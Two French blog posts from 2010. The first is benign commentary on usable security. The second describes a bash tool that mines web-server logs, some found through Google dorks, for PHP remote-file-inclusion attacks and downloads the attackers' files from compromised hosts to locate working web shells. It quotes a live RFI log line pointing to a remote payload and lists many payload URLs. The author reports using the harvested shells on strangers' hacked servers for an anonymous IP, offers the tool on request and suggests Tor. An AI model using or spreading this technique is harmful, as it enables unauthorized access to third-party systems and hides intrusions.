jeudi 30 septembre 2010

Sécurité opérationnelle, sécurité pragmatique?

Une conférence donnée à la BruCon s'intitule "You Spent All That Money And You Still Got Owned... ". Je suis particulièrement d'accord avec ce titre. Aujourd'hui ou on arrive à construire des voitures fiables, a garantir la distribution d'électricité, et les trains arrivent à l'heure [1], comment se fait-il que la sécurité informatique soit encore et toujours à la ramasse? (je ne prononcerai pas l'antienne « la sécurité est un échec, (c) News0ft ».

Qu'est ce qui peut expliquer cela? La sécurité coûte cher, certes, mais surtout, elle est contraignante! Les données informatiques sont tout de même faite pour être lues, modifiées, communiquées et partagées. La sécurité informatique est là afin d'empêcher que certaines personnes puissent lire, communiquer, modifier ou partager ces données. Bien entendu, la sécurité informatique doit savoir à qui ces données sont destinées et à qui ces données sont interdites, les protéger durant le transport et leur stockage; la chanson est connue. Présentées de cette manière on observe immédiatement l'orthogonalité du traitement.
Les informations doivent circuler, mais rester confinées. Dilemme. Au milieu de tout cela, il y a l'utilisateur pour qui la sécurité est une contrainte souvent mal vécue (allez écouter le bureau des plaintes des administrateurs systèmes qui imposent des modes drastiques concernant les mots de passes, leurs longueurs, leurs fréquences de changement etc..).

Bref, comment conjuguer sécurité et utilisabilité de l'outil informatique? Comment rendre la sécurité opérationnelle, et non pas la confiner à des laboratoires? Ne faut il pas plutôt réfléchir à une sécurité que je qualifierai de pragmatique? Point majeur à prendre en compte, l'utilisateur n'a pas à se soucier de la sécurité. Au plus la sécurité est invisible au mieux elle est utilisée et donc utile et efficace. La question se pose alors: Quelle sécurité est opérationnelle? Quelle seraient les systèmes de sécurisation pragmatiques, donc utilisés, et efficace?

Si je prends le HTTPS, c'est intéressant transparent à l'utilisateur, cela corrige des tas de problèmes, mais c'est attaqué avec plus ou moins de succès d'ailleurs. Preuve de son utilisation.
L'ASLR, le W^X les canaris, c'est complètement invisible à l'utilisateur, et ça marche. Ca bloque ceux qui veulent smasher la stack, mais ça n'empêche certes pas de continuer à faire du fun et du profit.
Le SSO, c'est très bien, ça simplifie la vie de l'utilisateur. C'est ardu à mettre en oeuvre (et pleins de chausses trappes), mais cela évite de retrouver la liste des mots de passe sur des post-it.

Peut être pourrions nous classer les produits de sécurité selon leur innocuité dans le désagrement fourni. Si c'est léger, alors c'est à creuser. Tous les systèmes de sécurité invisibles ne seront pas fiables, mais les systèmes de sécurité trop contraignants sont condamnées à ne pas être employés...

lundi 13 septembre 2010

Old-school trick -- "Give me a shell, quickly!"

Il y a quelques mois je parlais des méthodes de Remote File Inclusion en php, Partie 1 et Partie 2.

J'avais écrit il y a longtemps un outil qui me permettait de trouver automatiquement des scripts intéressants, entre autre des php shells fonctionnels. J'ai eu il y a peu besoin d'une IP complètement exogène, relativement anonyme pour un test. J'ai relancé l'outil qui a particulièrement bien marché. Explications.

Cet outil scanne les sites déjà piratés via RFI et vérifie le contenu de l'index ou le script RFI est placé. Il y a de grandes chances d'y trouver un php shell, comme le r57 ou le C99. Profit and have fun!
Un php shell tout ce qu'il y a de plus classique, avec une pléthore d'options délicieusement obsolète: aaah, le ftp brute force qui fleure bon les années 2000, ou l'accès a la database MilwOrm (R.I.P., aujourd'hui on a inj3ct0r ou exploit-db ).

Pourquoi utiliser ce script et pas une simple recherche google à la johnny I hack stuff comme "intitle:r57shell +uname -bbpress" ?
Simplement parceque de manière générale, les liens remontés par google sont soit déjà morts, soit des fakes, soit non fonctionnels. Le temps passé a en trouver un qui marche est trop élevé. De plus, mon outil devait permettre de remonter d'autres infos que les php shells.

Comment fonctionne cet outil?
Il utilise des sites déjà piratés. Les webmasters ont surement tous lus dans leurs logs des tentatives continues de RFI par des pirates. Ce sont ces URLs qui vont nous servir de base de travail.
Si vous êtes admin d'un site web, vous avez typiquement de logs de ce genre. Si vous n'avez pas de logs, trouvez-en. Pour cela google est particulièrement bien adapté grâce aux clés de recherche inurl: et filetype:. Une requête sur access.log et filetype:log permet de trouver pléthore de logs utilisables.

Il faut alors chercher des RFI dans ces logs, comme cette inclusion:
130.207.147.170 - - [12/Sep/2010:22:03:54 -0700] "GET /logs//index.php?option=com_log&Itemid=&mosConfig_absolute_path=http://www.eroticnorthamerica.com/new//admin/classes/Ckrid1.txt????? HTTP/1.1" 404 - "-" "MaMa CaSpEr" "www.faciti.com"

Dans cet exemple, l'inclusion est faite sur http://www.eroticnorthamerica.com/new//admin/classes/Ckrid1.txt en tentant d'abuser la variable mosConfig_absolute_path, un vieux hack de ... 2008 (!)

A la racine http://www.eroticnorthamerica.com/new//admin/classes/ rien. Il suffit d'aller voir la ligne de log suivante, trouver le RFI, aller sur le site source, vérifier son index, etc, etc..

C'est très répétitif. Or, tout ce qui est répetitif se programme très bien! J'ai donc codé à la Rache un script shell drop.sh qui suit ce process.
Mon outil prend en argument un fichier de log apache, et scanne l'ensemble des RFI. Voici une session, avec un fichier de bonne taille provenant d'une recherche google:
kevin@slackware:~/sept2010$ ./drop.sh access.log
############## LOGFILE ##############
Le fichier de log utilisé est :access.log
############## URLSTOCK ##############
############## ANALYSE ##############
Le fichier fourni fait 27188 lignes.
Nous avons 211 URL contenant des fichiers d'attaques
Nous avons 179 domaines uniques contenant des fichiers d'attaques
Nous avons 134 variables utilisées pour attaquer
Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10
2013 CONFIG_EXT[ADMIN_PATH]
1040 mosConfig_absolute_path
697 option
476 dir
330 mosConfig.absolute.path
255 board
216 cropimagedir
214 reflect_base
212 myPath
209 error
Appuyez sur entrée pour continuer...

Nous avons 409 IP différentes utilisées pour attaquer
Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10
1984 78.46.91.40
547 222.236.47.182
188 193.13.73.251
184 74.55.95.42
172 97.74.198.126
147 201.219.3.103
138 94.136.63.119
133 209.40.100.50
117 174.121.166.146
115 194.153.188.2
Appuyez sur entrée pour continuer...

############## D/L ATTAQUES ##############
pas de repertoire hax
Deduping eventuel des fichiers d'attaques
Test de la presence de URL-consolide ou ../URL-consolide
Downloading tous les fichiers d'attaques (prend du temps)
3s de timeout par d/l
http://117.110.211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/i1.txt : d/l en cours : OK
http://127.0.0.1/id.txt : d/l en cours : 404
http://127.0.0.1/r0x.txt : d/l en cours : 404
http://1942.jp/pitbull2.txt : d/l en cours : OK
http://203.252.71.232/~edugraduate/data/file/sub3_1/ckrid1.txt : d/l en cours : OK
http://203.94.243.59/lib/akas1.txt : d/l en cours : OK
http://60gp.ovh.net/~wielgoml/images/id.txt : d/l en cours : OK
http://82.58.46.161/r0x.txt : d/l en cours : timeout...
http://82.60.25.77/r0x.txt : d/l en cours : timeout...
(...snip...)
http://yeshouse.mk.co.kr/education/p1.txt : d/l en cours : timeout...
http://yeshouse.mk.co.kr/my/visual/id1.txt : d/l en cours : OK
http://yeshouse.net/my/.injek/injek.txt : d/l en cours : OK
http://yuioo.interfree.it/id.jpg : d/l en cours : OK
tous les fichiers sont téléchargés
Il y a 143 fichiers récupérés
leger cleanup des noms de fichiers si besoin...
############## D/L INDEXES ##############
Aller chercher les fichiers d'index? (o/n)o
pas de repertoire recup_index
http://117.110.211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/ : pas d'index
http://1942.jp/ : pas d'index
http://203.252.71.232/~edugraduate/data/file/sub3_1/ : pas d'index
recuperation de l'index de http://203.94.243.59/lib/
recuperation de l'index de http://tatan.ru/templates/default/
(...snip...)
http://yeshouse.net/my/.injek/ : pas d'index
http://yuioo.interfree.it/ : pas d'index
############## DEDUPING FILES ##############
Il y a 143 fichiers presents dans hax/
Deduplication de fichiers...
Il y a 17 fichiers dupliques
nettoyage des duplicats...
Il reste 126 fichiers presents
voulez vous nettoyer les duplicats des indexs? (o/n)n
############## FINDING FOOD ##############
Construction de la liste de fichiers potentiellement interessants
### recherche des fichiers contenant le mot clé :irc ###
### recherche des fichiers contenant le mot clé :wget ###
### recherche des fichiers contenant le mot clé :curl ###
### recherche des fichiers contenant le mot clé :w3m ###
### recherche des fichiers contenant le mot clé :lynx ###
### recherche des fichiers contenant le mot clé :wget http ###
### recherche des fichiers contenant le mot clé :gcc ###
### recherche des fichiers contenant le mot clé :C99 ###
Il y a 74 fichiers avec motif interessants
Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10
3 hax/feel.txt
1 hax/file.txt
1 hax/asu.php
1 hax/Jasakom.php
2 hax/head.1
1 hax/id.txt.4
7 hax/lang.txt
1 hax/myid.jpg.5
3 hax/s.txt
2 hax/vrs
Appuyez sur entrée pour continuer...
kevin@slackware:~/sept2010$
En quelques minutes et une requête google, j'ai a disposition deux php shells, asu.php et Jasakom.php parfaitements fonctionnels, la copie d'écran ci-dessus vient de là.

Je fournis l'outil à qui veut, "upon mail request". License Beerware. Pas de contreindication, pas d'utilisation prolongée sans avis médical :-)

LIMITATIONS:
  • C'est un script shell bash linux écrit sans grand soucis de portabilité ou de propreté du code. Pas dit que ça marche ailleurs que chez moi :)
  • La substantifique moelle qui est extraite dépend énormément du fichier de logs utilisé. L'expérience m'a montré qu'il faut privilégier bien évidemment les gros fichiers de logs pour maximiser les chances (voir en concaténer plusieurs), mais surtout avoir des logs récents.. La durée de vie d'un RFI est souvent faible.
  • Le deduping des fichiers pourrait être légèrement amélioré.
  • La version fournie n'utilise pas tsocks pour socksifier les téléchargements via tor, donc l'IP de la machine lançant le script va apparaitre de partout... Ceci dit, avec tor, il y a quelque fois des problèmes de timeout intempestifs.
  • Le download des index est parfois un peu trop long, soit que le wget récursif rapatrie le site, soit que chaque fichier fait des timeouts. Il peut donc être nécessaire de killer manuellement le wget qui patine.
  • Le FINDING FOOD pourrait aussi être amélioré. Selon ce que l'on cherche, des shells php ou des login/pass pour des canaux IRC de botnets ou autre chose comme des toolkits de phishing etc.. Le contenu des index est (quelquefois) riche en information et mériterait une passe plus conséquente.
  • Le FINDING FOOD devrait aussi aller chercher dans les php bots et autres les URL de mise à jours. Souvent il y a là-bas aussi des choses intéressantes dans les index.
  • Un tri automatique des RFI devrait être fait (scripts de scan, de tests, de fingerprinting et autres..) pour exploitation ultérieure.
  • Lorsqu'on lance plusieurs fois le script dans un intervalle de temps réduit je conseille de conserver les URL et les domaines dans le fichier [URL|domain]-consolide afin d'éviter de retélécharger plusieurs fois les mêmes fichiers.
  • Le script ne fournit pas d'emblée la liste des php shells fonctionnels. Il faut grepper dans les résultats après coup, ou interpréter la liste finale.

Tout ça pour quoi, finalement?
Pourquoi je donne ce script? Comme indiqué dans mon deuxième article sur les RFI, tout ceci est un peu vain.. Le skill est des attaquants faisant ces RFI est plutôt bas. Je cite mon ancien article: " Moins ils sont bons, plus ils arrosent large et plus j'ai de chance de les voir". Il y a plusieurs années, j'avais pu trouver des RFI 0day, des progs C intéressants ou des kits de phishing, aujourd'hui on a que de la vieille vuln' de plusieurs années et des innombrables eggdrop et bots IRC, d'où mon désinterêt pour ces botnets. D'ailleurs depuis mon post de blog la dessus, je n'étais plus revenu sur le sujet. Les trackings sur IRC n'apprennent plus rien d'intéressant. Le botnet a changé de visage, et ces php machins sont trop anciens pour avoir de la valeur.

Enfin les php shells utilisés sur ces machines ne sont pas sains. Impossible d'imaginer les employer pour y placer un script réellement offensif, une attaque très fine ou autre. En effet, ces machines hébergeant du RFI sont généralement percées de toute part, il me surprendrait fort qu'un autre attaquant ne surveille pas ce qui est fait, voire ne sont pas elles-mêmes des honeypots. Enfin, certains fichiers de RFI sont eux-mêmes déjà trojanisés et logguent toute utilisation.
Il reste loisible d'utiliser ces machines pour lancer d'autres tricks old-school a leur tour, participant ainsi à la médiocrité ambiante des scripts trouvés sur ce genre de machines :)